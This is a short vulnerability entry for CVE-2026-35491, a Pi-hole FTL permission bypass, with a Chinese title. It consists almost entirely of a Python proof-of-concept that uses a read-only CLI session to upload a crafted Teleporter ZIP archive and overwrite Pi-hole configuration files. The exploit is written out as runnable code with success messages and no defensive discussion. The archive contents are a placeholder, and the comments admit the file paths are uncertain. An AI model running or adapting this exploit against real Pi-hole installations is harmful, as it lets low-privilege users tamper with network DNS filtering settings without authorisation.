CVE-2026-35491 Pi-hole FTL权限绕过漏洞

import requests import zipfile import io target_url = "http://pi-hole-local:80" cli_password = "your_cli_password_here" # 1. Authenticate to get a CLI session (Read-only) session = requests.Session() auth_resp = session.post(f"{target_url}/api/auth", json={"password": cli_password}) if auth_resp.status_code != 200: print("[!] Failed to authenticate with CLI password") exit(1) print("[+] CLI Session established successfully") # 2. Create a malicious Teleporter archive (ZIP) # This archive contains configuration files intended to overwrite existing settings zip_buffer = io.BytesIO() with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Example: Adding a config file that changes settings # Note: Actual internal filenames depend on Pi-hole's Teleporter structure zf.writestr("etc/pihole/setupVars.conf", "MALICIOUS_CONFIG=true") zip_buffer.seek(0) print("[+] Malicious Teleporter archive created") # 3. Exploit: Upload the archive via /api/teleporter # The vulnerability allows the CLI session to import, which writes to disk files = {'file': ('exploit_teleporter.zip', zip_buffer, 'application/zip')} upload_resp = session.post(f"{target_url}/api/teleporter", files=files) if upload_resp.status_code == 200: print("[+] Exploit successful! Configuration overwritten via Teleporter import.") else: print(f"[-] Exploit failed. Status code: {upload_resp.status_code}")